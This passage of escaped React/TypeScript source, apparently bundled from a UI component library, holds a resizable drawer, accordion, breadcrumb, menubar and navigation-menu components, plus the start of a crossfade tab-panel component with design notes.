\"ArrowUp\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"bottom\" ? 1 : -1))\n      } else if (e.key === \"ArrowDown\") {\n        e.preventDefault()\n        onSize(size + step * (side === \"bottom\" ? -1 : 1))\n      }\n    }\n    if (e.key === \"Home\") {\n      e.preventDefault()\n      onSize(minSize)\n    } else if (e.key === \"End\") {\n      e.preventDefault()\n      onSize(maxSize)\n    }\n  }\n\n  // Handle is rendered as a SIBLING of the panel (child of DialogPrimitive.Content)\n  // so the panel can use `overflow-hidden` without clipping the handle.\n  // Wrapper has `py-4 px-4` (or `md:py-4 md:px-4` for flush on desktop)\n  // when the handle is visible — handle is desktop-only, where both flush\n  // and non-flush wrappers carry that padding — so `top-4 bottom-4` (or\n  // `left-4 right-4`) aligns the handle with the panel's bounds.\n  const trackPosition =\n    side === \"right\"\n      ? \"right-full top-4 bottom-4 w-3 items-center justify-end pr-1\"\n      : side === \"left\"\n        ? \"left-full top-4 bottom-4 w-3 items-center justify-start pl-1\"\n        : side === \"bottom\"\n          ? \"bottom-full left-4 right-4 h-3 justify-center items-end pb-1\"\n          : \"top-full left-4 right-4 h-3 justify-center items-start pt-1\"\n\n  const cursorClass = isHorizontal ? \"cursor-col-resize\" : \"cursor-row-resize\"\n\n  const gripClass = isHorizontal ? \"h-10 w-1\" : \"w-10 h-1\"\n\n  return (\n    <div\n      role=\"separator\"\n      tabIndex={0}\n      aria-orientation={isHorizontal ? \"vertical\" : \"horizontal\"}\n      aria-valuenow={Math.round(size)}\n      aria-valuemin={minSize}\n      aria-valuemax={maxSize}\n      aria-label={\n        ariaLabel ?? (isHorizontal ? \"Resize panel width\" : \"Resize panel height\")\n      }\n      onPointerDown={handlePointerDown}\n      onPointerMove={handlePointerMove}\n      onPointerUp={endDrag}\n      onPointerCancel={endDrag}\n      onKeyDown={handleKeyDown}\n      className={cn(\n        \"group absolute z-20 flex select-none touch-none\",\n        \"outline-none ring-0 focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0\",\n        trackPosition,\n        cursorClass,\n      )}\n    >\n      <div\n        aria-hidden\n        className={cn(\n          \"rounded-full bg-ods-bg-surface\",\n          gripClass,\n        )}\n      />\n    </div>\n  )\n}\n\ninterface DrawerContentProps\n  extends Omit<\n      React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>,\n      \"style\"\n    >,\n    VariantProps<typeof drawerVariants> {\n  /** Remove outer wrapper padding and panel rounded/border/padding so the\n   *  panel attaches flush to the viewport edge. Use for full-height side\n   *  panels (e.g. the embedded chat). */\n  flush?: boolean\n  /** Enable the drag-to-resize handle on the inside-facing edge. Only\n   *  active for `side=\"left\"` / `side=\"right\"` (or `top`/`bottom`) on\n   *  non-mobile viewports. */\n  resizable?: boolean\n  /** Minimum allowed size (px) when resizable. */\n  minSize?: number\n  /** Maximum allowed size (px) when resizable. Also clamped by viewport. */\n  maxSize?: number\n  /** Initial size (px) when no localStorage entry exists. */\n  defaultSize?: number\n  /** localStorage key for persisting the size across sessions. */\n  storageKey?: string\n  /** Pixel breakpoint below which `resizable` is disabled and inline\n   *  size is not applied (so consumer CSS can render full-viewport).\n   *  Defaults to 800 — the library's Tailwind `md` breakpoint, so the JS\n   *  mobile switch and the `md:` panel styles flip together. */\n  mobileBreakpoint?: number\n  /** Optional className applied to the overlay. */\n  overlayClassName?: string\n  /** Optional aria-label for the resize handle. */\n  resizeAriaLabel?: string\n  /** Inline style merged onto the outer animated wrapper (DialogPrimitive.Content).\n   *  Use this for animation-end transform/animation resets so `position: fixed`\n   *  descendants can escape the wrapper's containing block. */\n  style?: React.CSSProperties\n  /** Inline style merged onto the inner panel (next to the resize-driven size). */\n  panelStyle?: React.CSSProperties\n  /** Optional className applied to the inner panel. (Alias for `className`.) */\n  panelClassName?: string\n  /** Offset the drawer's top edge below the app header + announcement bar.\n   *  Measured live via ResizeObserver so it tracks height changes. */\n  offsetHeader?: boolean\n}\n\nconst DrawerContent = React.forwardRef<\n  React.ComponentRef<typeof DialogPrimitive.Content>,\n  DrawerContentProps\n>(\n  (\n    {\n      side = \"right\",\n      flush = false,\n      resizable = false,\n      minSize = 320,\n      maxSize = 1280,\n      defaultSize,\n      storageKey,\n      mobileBreakpoint = 800,\n      overlayClassName,\n      resizeAriaLabel,\n      className,\n      style,\n      panelStyle,\n      panelClassName,\n      offsetHeader = false,\n      children,\n      ...props\n    },\n    ref,\n  ) => {\n    const resolvedSide: DrawerSide = side ?? \"right\"\n    const isHorizontal = HORIZONTAL_SIDES.has(resolvedSide)\n    const initialSize = defaultSize ?? (isHorizontal ? 560 : 480)\n\n    const headerHeight = useHeaderHeight()\n\n    const [isMobile, setIsMobile] = React.useState(false)\n    React.useEffect(() => {\n      if (typeof window === \"undefined\") return\n      const mq = window.matchMedia(`(max-width: ${mobileBreakpoint - 1}px)`)\n      const update = () => setIsMobile(mq.matches)\n      update()\n      mq.addEventListener(\"change\", update)\n      return () => mq.removeEventListener(\"change\", update)\n    }, [mobileBreakpoint])\n\n    const { size, setSize } = useResizableSize({\n      enabled: resizable,\n      isHorizontal,\n      minSize,\n      maxSize,\n      defaultSize: initialSize,\n      storageKey,\n    })\n\n    const applyInlineSize = resizable && !isMobile\n    const sizeStyle: React.CSSProperties = applyInlineSize\n      ? isHorizontal\n        ? { width: size }\n        : { height: size }\n      : {}\n\n    return (\n      <DrawerPortal>\n        <DrawerOverlay className={overlayClassName} />\n        <DialogPrimitive.Content\n          ref={ref}\n          className={cn(drawerVariants({ side, flush }))}\n          style={{ ...(offsetHeader ? { top: headerHeight } : {}), ...style }}\n          {...props}\n        >\n          {/* Resize handle is a sibling of the panel — outside the panel's\n              `overflow-hidden` so the drag track stays visible while the\n              panel cleanly clips children to its rounded corners. */}\n          {applyInlineSize ? (\n            <DrawerResizeHandle\n              side={resolvedSide}\n              size={size}\n              minSize={minSize}\n              maxSize={maxSize}\n              onSize={setSize}\n              ariaLabel={resizeAriaLabel}\n            />\n          ) : null}\n          <div\n            className={cn(\n              drawerPanelVariants({ side, flush }),\n              className,\n              panelClassName,\n            )}\n            style={{ ...sizeStyle, ...panelStyle }}\n          >\n            {children}\n          </div>\n        </DialogPrimitive.Content>\n      </DrawerPortal>\n    )\n  },\n)\nDrawerContent.displayName = \"DrawerContent\"\n\nconst DrawerHeader = ({\n  className,\n  children,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\"flex flex-col gap-4\", className)}\n    {...props}\n  >\n    {children}\n  </div>\n)\nDrawerHeader.displayName = \"DrawerHeader\"\n\ninterface DrawerTitleProps\n  extends React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title> {\n  /** Optional header actions rendered between the title and the close button. */\n  actions?: React.ReactNode\n  /** Hide the close (X) button. */\n  hideClose?: boolean\n}\n\nconst DrawerTitle = React.forwardRef<\n  React.ComponentRef<typeof DialogPrimitive.Title>,\n  DrawerTitleProps\n>(({ className, children, actions, hideClose, ...props }, ref) => (\n  <div className=\"flex items-start gap-4\">\n    <DialogPrimitive.Title\n      ref={ref}\n      className={cn(\n        \"min-w-0 flex-1 break-words text-h3 text-ods-text-primary\",\n        className\n      )}\n      {...props}\n    >\n      {children}\n    </DialogPrimitive.Title>\n    {actions}\n    {!hideClose && (\n      <DialogPrimitive.Close className=\"shrink-0 rounded-sm text-ods-text-secondary transition-colors hover:text-ods-text-primary outline-none ring-0 focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0\">\n        <X className=\"size-6\" />\n        <span className=\"sr-only\">Close</span>\n      </DialogPrimitive.Close>\n    )}\n  </div>\n))\nDrawerTitle.displayName = \"DrawerTitle\"\n\nconst DrawerDescription = React.forwardRef<\n  React.ComponentRef<typeof DialogPrimitive.Description>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Description\n    ref={ref}\n    className={cn(\n      \"min-w-0 break-words text-h6 text-ods-text-secondary\",\n      className\n    )}\n    {...props}\n  />\n))\nDrawerDescription.displayName = \"DrawerDescription\"\n\nconst DrawerBody = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\"flex flex-1 flex-col gap-4 overflow-y-auto\", className)}\n    {...props}\n  />\n)\nDrawerBody.displayName = \"DrawerBody\"\n\nconst DrawerFooter = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\"mt-auto flex flex-col gap-2\", className)}\n    {...props}\n  />\n)\nDrawerFooter.displayName = \"DrawerFooter\"\n\nexport {\n  OVERLAY_BACKDROP_CLASS,\n  Drawer,\n  DrawerTrigger,\n  DrawerClose,\n  DrawerPortal,\n  DrawerOverlay,\n  DrawerContent,\n  DrawerHeader,\n  DrawerTitle,\n  DrawerDescription,\n  DrawerBody,\n  DrawerFooter,\n}\n\nexport type { DrawerContentProps, DrawerSide, DrawerTitleProps }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as AccordionPrimitive from \"@radix-ui/react-accordion\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Accordion = AccordionPrimitive.Root\n\nconst AccordionItem = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Item>\n>(({ className, ...props }, ref) => (\n  <AccordionPrimitive.Item ref={ref} className={cn(\"border-b\", className)} {...props} />\n))\nAccordionItem.displayName = \"AccordionItem\"\n\nconst AccordionTrigger = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n  <AccordionPrimitive.Header className=\"flex\">\n    <AccordionPrimitive.Trigger\n      ref={ref}\n      className={cn(\n        \"flex flex-1 items-center justify-between py-4 text-h6 transition-all hover:underline [&[data-state=open]>svg]:rotate-180\",\n        className,\n      )}\n      {...props}\n    >\n      {children}\n      <ChevronDown className=\"h-4 w-4 shrink-0 transition-transform duration-200\" />\n    </AccordionPrimitive.Trigger>\n  </AccordionPrimitive.Header>\n))\nAccordionTrigger.displayName = \"AccordionTrigger\"\n\nconst AccordionContent = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n  <AccordionPrimitive.Content\n    ref={ref}\n    className={cn(\n      \"overflow-hidden text-h6 transition-all data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down\",\n      className,\n    )}\n    {...props}\n  >\n    <div className=\"pb-4 pt-0\">{children}</div>\n  </AccordionPrimitive.Content>\n))\nAccordionContent.displayName = \"AccordionContent\"\n\nexport { Accordion, AccordionItem, AccordionTrigger, AccordionContent }\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Slot } from \"@radix-ui/react-slot\"\nimport { ChevronRight, MoreHorizontal } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Breadcrumb = React.forwardRef<\n  HTMLElement,\n  React.ComponentPropsWithoutRef<\"nav\"> & {\n    separator?: React.ReactNode\n  }\n>(({ ...props }, ref) => <nav ref={ref} aria-label=\"breadcrumb\" {...props} />)\nBreadcrumb.displayName = \"Breadcrumb\"\n\nconst BreadcrumbList = React.forwardRef<\n  HTMLOListElement,\n  React.ComponentPropsWithoutRef<\"ol\">\n>(({ className, ...props }, ref) => (\n  <ol\n    ref={ref}\n    className={cn(\n      \"flex flex-wrap items-center gap-1.5 break-words text-h6 text-ods-text-muted md:gap-2.5\",\n      className\n    )}\n    {...props}\n  />\n))\nBreadcrumbList.displayName = \"BreadcrumbList\"\n\nconst BreadcrumbItem = React.forwardRef<\n  HTMLLIElement,\n  React.ComponentPropsWithoutRef<\"li\">\n>(({ className, ...props }, ref) => (\n  <li\n    ref={ref}\n    className={cn(\"inline-flex items-center gap-1.5\", className)}\n    {...props}\n  />\n))\nBreadcrumbItem.displayName = \"BreadcrumbItem\"\n\nconst BreadcrumbLink = React.forwardRef<\n  HTMLAnchorElement,\n  React.ComponentPropsWithoutRef<\"a\"> & {\n    asChild?: boolean\n  }\n>(({ asChild, className, ...props }, ref) => {\n  const Comp = asChild ? Slot : \"a\"\n\n  return (\n    <Comp\n      ref={ref}\n      className={cn(\"transition-colors hover:text-ods-text-primary\", className)}\n      {...props}\n    />\n  )\n})\nBreadcrumbLink.displayName = \"BreadcrumbLink\"\n\nconst BreadcrumbPage = React.forwardRef<\n  HTMLSpanElement,\n  React.ComponentPropsWithoutRef<\"span\">\n>(({ className, ...props }, ref) => (\n  <span\n    ref={ref}\n    role=\"link\"\n    aria-disabled=\"true\"\n    aria-current=\"page\"\n    className={cn(\"font-normal text-ods-text-primary\", className)}\n    {...props}\n  />\n))\nBreadcrumbPage.displayName = \"BreadcrumbPage\"\n\nconst BreadcrumbSeparator = ({\n  children,\n  className,\n  ...props\n}: React.ComponentProps<\"li\">) => (\n  <li\n    role=\"presentation\"\n    aria-hidden=\"true\"\n    className={cn(\"[&>svg]:w-3.5 [&>svg]:h-3.5\", className)}\n    {...props}\n  >\n    {children ?? <ChevronRight />}\n  </li>\n)\nBreadcrumbSeparator.displayName = \"BreadcrumbSeparator\"\n\nconst BreadcrumbEllipsis = ({\n  className,\n  ...props\n}: React.ComponentProps<\"span\">) => (\n  <span\n    role=\"presentation\"\n    aria-hidden=\"true\"\n    className={cn(\"flex h-9 w-9 items-center justify-center\", className)}\n    {...props}\n  >\n    <MoreHorizontal className=\"h-4 w-4\" />\n    <span className=\"sr-only\">More</span>\n  </span>\n)\nBreadcrumbEllipsis.displayName = \"BreadcrumbElipssis\"\n\nexport {\n  Breadcrumb,\n  BreadcrumbList,\n  BreadcrumbItem,\n  BreadcrumbLink,\n  BreadcrumbPage,\n  BreadcrumbSeparator,\n  BreadcrumbEllipsis,\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as MenubarPrimitive from \"@radix-ui/react-menubar\"\nimport { Check, ChevronRight, Circle } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst MenubarMenu = MenubarPrimitive.Menu\n\nconst MenubarGroup = MenubarPrimitive.Group\n\nconst MenubarPortal = MenubarPrimitive.Portal\n\nconst MenubarSub = MenubarPrimitive.Sub\n\nconst MenubarRadioGroup = MenubarPrimitive.RadioGroup\n\nconst Menubar = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n  <MenubarPrimitive.Root\n    ref={ref}\n    className={cn(\n      \"flex h-10 items-center space-x-1 rounded-md border bg-background p-1\",\n      className\n    )}\n    {...props}\n  />\n))\nMenubar.displayName = MenubarPrimitive.Root.displayName\n\nconst MenubarTrigger = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n  <MenubarPrimitive.Trigger\n    ref={ref}\n    className={cn(\n      \"flex cursor-default select-none items-center rounded-sm px-3 py-1.5 text-h6 outline-none focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground\",\n      className\n    )}\n    {...props}\n  />\n))\nMenubarTrigger.displayName = MenubarPrimitive.Trigger.displayName\n\nconst MenubarSubTrigger = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.SubTrigger>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubTrigger> & {\n    inset?: boolean\n  }\n>(({ className, inset, children, ...props }, ref) => (\n  <MenubarPrimitive.SubTrigger\n    ref={ref}\n    className={cn(\n      \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-h6 outline-none focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  >\n    {children}\n    <ChevronRight className=\"ml-auto h-4 w-4\" />\n  </MenubarPrimitive.SubTrigger>\n))\nMenubarSubTrigger.displayName = MenubarPrimitive.SubTrigger.displayName\n\nconst MenubarSubContent = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.SubContent>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n  <MenubarPrimitive.SubContent\n    ref={ref}\n    className={cn(\n      \"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n      className\n    )}\n    {...props}\n  />\n))\nMenubarSubContent.displayName = MenubarPrimitive.SubContent.displayName\n\nconst MenubarContent = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Content>\n>(\n  (\n    { className, align = \"start\", alignOffset = -4, sideOffset = 8, ...props },\n    ref\n  ) => (\n    <MenubarPrimitive.Portal>\n      <MenubarPrimitive.Content\n        ref={ref}\n        align={align}\n        alignOffset={alignOffset}\n        sideOffset={sideOffset}\n        className={cn(\n          \"z-50 min-w-[12rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n          className\n        )}\n        {...props}\n      />\n    </MenubarPrimitive.Portal>\n  )\n)\nMenubarContent.displayName = MenubarPrimitive.Content.displayName\n\nconst MenubarItem = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Item> & {\n    inset?: boolean\n  }\n>(({ className, inset, ...props }, ref) => (\n  <MenubarPrimitive.Item\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-h6 outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  />\n))\nMenubarItem.displayName = MenubarPrimitive.Item.displayName\n\nconst MenubarCheckboxItem = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.CheckboxItem>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n  <MenubarPrimitive.CheckboxItem\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-h6 outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      className\n    )}\n    checked={checked}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <MenubarPrimitive.ItemIndicator>\n        <Check className=\"h-4 w-4\" />\n      </MenubarPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </MenubarPrimitive.CheckboxItem>\n))\nMenubarCheckboxItem.displayName = MenubarPrimitive.CheckboxItem.displayName\n\nconst MenubarRadioItem = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.RadioItem>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n  <MenubarPrimitive.RadioItem\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-h6 outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      className\n    )}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <MenubarPrimitive.ItemIndicator>\n        <Circle className=\"h-2 w-2 fill-current\" />\n      </MenubarPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </MenubarPrimitive.RadioItem>\n))\nMenubarRadioItem.displayName = MenubarPrimitive.RadioItem.displayName\n\nconst MenubarLabel = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Label>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Label> & {\n    inset?: boolean\n  }\n>(({ className, inset, ...props }, ref) => (\n  <MenubarPrimitive.Label\n    ref={ref}\n    className={cn(\n      \"px-2 py-1.5 text-h6 font-semibold\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  />\n))\nMenubarLabel.displayName = MenubarPrimitive.Label.displayName\n\nconst MenubarSeparator = React.forwardRef<\n  React.ElementRef<typeof MenubarPrimitive.Separator>,\n  React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n  <MenubarPrimitive.Separator\n    ref={ref}\n    className={cn(\"-mx-1 my-1 h-px bg-muted\", className)}\n    {...props}\n  />\n))\nMenubarSeparator.displayName = MenubarPrimitive.Separator.displayName\n\nconst MenubarShortcut = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n  return (\n    <span\n      className={cn(\n        \"ml-auto text-h6 text-muted-foreground\",\n        className\n      )}\n      {...props}\n    />\n  )\n}\nMenubarShortcut.displayname = \"MenubarShortcut\"\n\nexport {\n  Menubar,\n  MenubarMenu,\n  MenubarTrigger,\n  MenubarContent,\n  MenubarItem,\n  MenubarSeparator,\n  MenubarLabel,\n  MenubarCheckboxItem,\n  MenubarRadioGroup,\n  MenubarRadioItem,\n  MenubarPortal,\n  MenubarSubContent,\n  MenubarSubTrigger,\n  MenubarGroup,\n  MenubarSub,\n  MenubarShortcut,\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as NavigationMenuPrimitive from \"@radix-ui/react-navigation-menu\"\nimport { cva } from \"class-variance-authority\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst NavigationMenu = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Root>\n>(({ className, children, ...props }, ref) => (\n  <NavigationMenuPrimitive.Root\n    ref={ref}\n    className={cn(\n      \"relative z-10 flex max-w-max flex-1 items-center justify-center\",\n      className\n    )}\n    {...props}\n  >\n    {children}\n    <NavigationMenuViewport />\n  </NavigationMenuPrimitive.Root>\n))\nNavigationMenu.displayName = NavigationMenuPrimitive.Root.displayName\n\nconst NavigationMenuList = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.List>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.List>\n>(({ className, ...props }, ref) => (\n  <NavigationMenuPrimitive.List\n    ref={ref}\n    className={cn(\n      \"group flex flex-1 list-none items-center justify-center space-x-1\",\n      className\n    )}\n    {...props}\n  />\n))\nNavigationMenuList.displayName = NavigationMenuPrimitive.List.displayName\n\nconst NavigationMenuItem = NavigationMenuPrimitive.Item\n\nconst navigationMenuTriggerStyle = cva(\n  \"group inline-flex h-10 w-max items-center justify-center rounded-md bg-background px-4 py-2 text-h6 transition-colors hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground focus:outline-none disabled:pointer-events-none disabled:opacity-50 data-[active]:bg-accent/50 data-[state=open]:bg-accent/50\"\n)\n\nconst NavigationMenuTrigger = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n  <NavigationMenuPrimitive.Trigger\n    ref={ref}\n    className={cn(navigationMenuTriggerStyle(), \"group\", className)}\n    {...props}\n  >\n    {children}{\" \"}\n    <ChevronDown\n      className=\"relative top-[1px] ml-1 h-3 w-3 transition duration-200 group-data-[state=open]:rotate-180\"\n      aria-hidden=\"true\"\n    />\n  </NavigationMenuPrimitive.Trigger>\n))\nNavigationMenuTrigger.displayName = NavigationMenuPrimitive.Trigger.displayName\n\nconst NavigationMenuContent = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Content>\n>(({ className, ...props }, ref) => (\n  <NavigationMenuPrimitive.Content\n    ref={ref}\n    className={cn(\n      \"left-0 top-0 w-full data-[motion^=from-]:animate-in data-[motion^=to-]:animate-out data-[motion^=from-]:fade-in data-[motion^=to-]:fade-out data-[motion=from-end]:slide-in-from-right-52 data-[motion=from-start]:slide-in-from-left-52 data-[motion=to-end]:slide-out-to-right-52 data-[motion=to-start]:slide-out-to-left-52 md:absolute md:w-auto \",\n      className\n    )}\n    {...props}\n  />\n))\nNavigationMenuContent.displayName = NavigationMenuPrimitive.Content.displayName\n\nconst NavigationMenuLink = NavigationMenuPrimitive.Link\n\nconst NavigationMenuViewport = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.Viewport>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Viewport>\n>(({ className, ...props }, ref) => (\n  <div className={cn(\"absolute left-0 top-full flex justify-center\")}>\n    <NavigationMenuPrimitive.Viewport\n      className={cn(\n        \"origin-top-center relative mt-1.5 h-[var(--radix-navigation-menu-viewport-height)] w-full overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-90 md:w-[var(--radix-navigation-menu-viewport-width)]\",\n        className\n      )}\n      ref={ref}\n      {...props}\n    />\n  </div>\n))\nNavigationMenuViewport.displayName =\n  NavigationMenuPrimitive.Viewport.displayName\n\nconst NavigationMenuIndicator = React.forwardRef<\n  React.ElementRef<typeof NavigationMenuPrimitive.Indicator>,\n  React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Indicator>\n>(({ className, ...props }, ref) => (\n  <NavigationMenuPrimitive.Indicator\n    ref={ref}\n    className={cn(\n      \"top-full z-[1] flex h-1.5 items-end justify-center overflow-hidden data-[state=visible]:animate-in data-[state=hidden]:animate-out data-[state=hidden]:fade-out data-[state=visible]:fade-in\",\n      className\n    )}\n    {...props}\n  >\n    <div className=\"relative top-[60%] h-2 w-2 rotate-45 rounded-tl-sm bg-border shadow-md\" />\n  </NavigationMenuPrimitive.Indicator>\n))\nNavigationMenuIndicator.displayName =\n  NavigationMenuPrimitive.Indicator.displayName\n\nexport {\n  navigationMenuTriggerStyle,\n  NavigationMenu,\n  NavigationMenuList,\n  NavigationMenuItem,\n  NavigationMenuContent,\n  NavigationMenuTrigger,\n  NavigationMenuLink,\n  NavigationMenuIndicator,\n  NavigationMenuViewport,\n}\n","'use client'\n\n/**\n * <CrossfadePanels> — THE keep-mounted tab-panel stack: every panel stays in\n * the DOM, stacked in the SAME grid cell, and switching is an opacity\n * crossfade. Use it under any tab control (TabNavigation, TabSelector, …)\n * whenever panels are content surfaces where height stability and a soft\n * switch matter (strips, media rails, dashboards-in-view).\n *\n * Invariants encoded HERE exactly once (so no consumer re-derives them):\n * - HEIGHT LOCK: grid items in one cell size the row to max(panel heights) —\n *   switching never shifts the page (no CLS), and surrounding layout treats\n *   the stack as one constant-height block.\n * - FADE-THEN-HIDE: `visibility` transitions alongside `opacity`; per the CSS\n *   transitions spec's special visibility interpolation the outgoing panel\n *   stays paintable until the fade completes, THEN becomes `hidden` — no\n *   pop-out, and the settled hidden panel is fully removed from paint.\n * - DEAD WHILE HIDDEN: `inert` + `aria-hidden` + `pointer-events-none` on\n *   inactive panels — no tab-stops, no screen-reader content, no hover/click\n *   leaks from the invisible layer (WCAG aria-hidden-focus).\n * - MOTION RESPECT: `prefers-reduced-motion` collapses the fade to an\n *   instant swap.\n * - The ACTIVE panel takes `z-[1]` so the incoming layer composites on top\n *   during the crossfade regardless of DOM order.\n *\n * This deliberately complements (not replaces) <TabContent>, which MOUNTS one\n * panel at a time — right for heavy admin surfaces that should unmount when\n * hidden. CrossfadePanels is for surfaces whose panels are cheap enough to\n * keep alive and whose switch must be seamless.\n *\n * NOTE for marquee/animated panel content: hidden panels stay mounted and\n * their animations keep running unless the content self-pauses. CardsStrip\n * panels are fine (its rAF gates on near-viewport + visibility), but a\n * consumer embedding heavier always-on content should pause it via its own\n * visibility signal.\n */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface CrossfadePanel {\n  id: string\n  content: React.ReactNode\n}\n\nexport interface CrossfadePanelsProps {\n  /** Which panel is shown. Unknown id → all panels hidden (renders the\n   *  stack's reserved height, nothing visible). */\n  activeId: string | undefined\n  panels: ReadonlyArray<CrossfadePanel>\n  /** Crossfade duration in ms. Default 300. */\n  durationMs?: number\n  className?: string\n  /** Extra classes for every panel wrapper (e.g. `min-w-0` is built in). */\n  panelClassName?: string\n}\n\nexport function CrossfadePanels({\n  activeId,\n  panels,\n  durationMs = 300,\n  className,\n  panelClassName,\n}: CrossfadePanelsProps) {\n  if (panels.length === 0) return null\n  return (\n    <div className={cn('grid w-full', className)}>\n      {panels.map(p => {\n        const active = p.id === activeId\n        return (\n          <div\n            key={p.id}\n            className={cn(\n              'col-start-1 row-start-1 min-w-0 transition-[opacity,visibility] ease-out motion-reduce:transition-none',\n              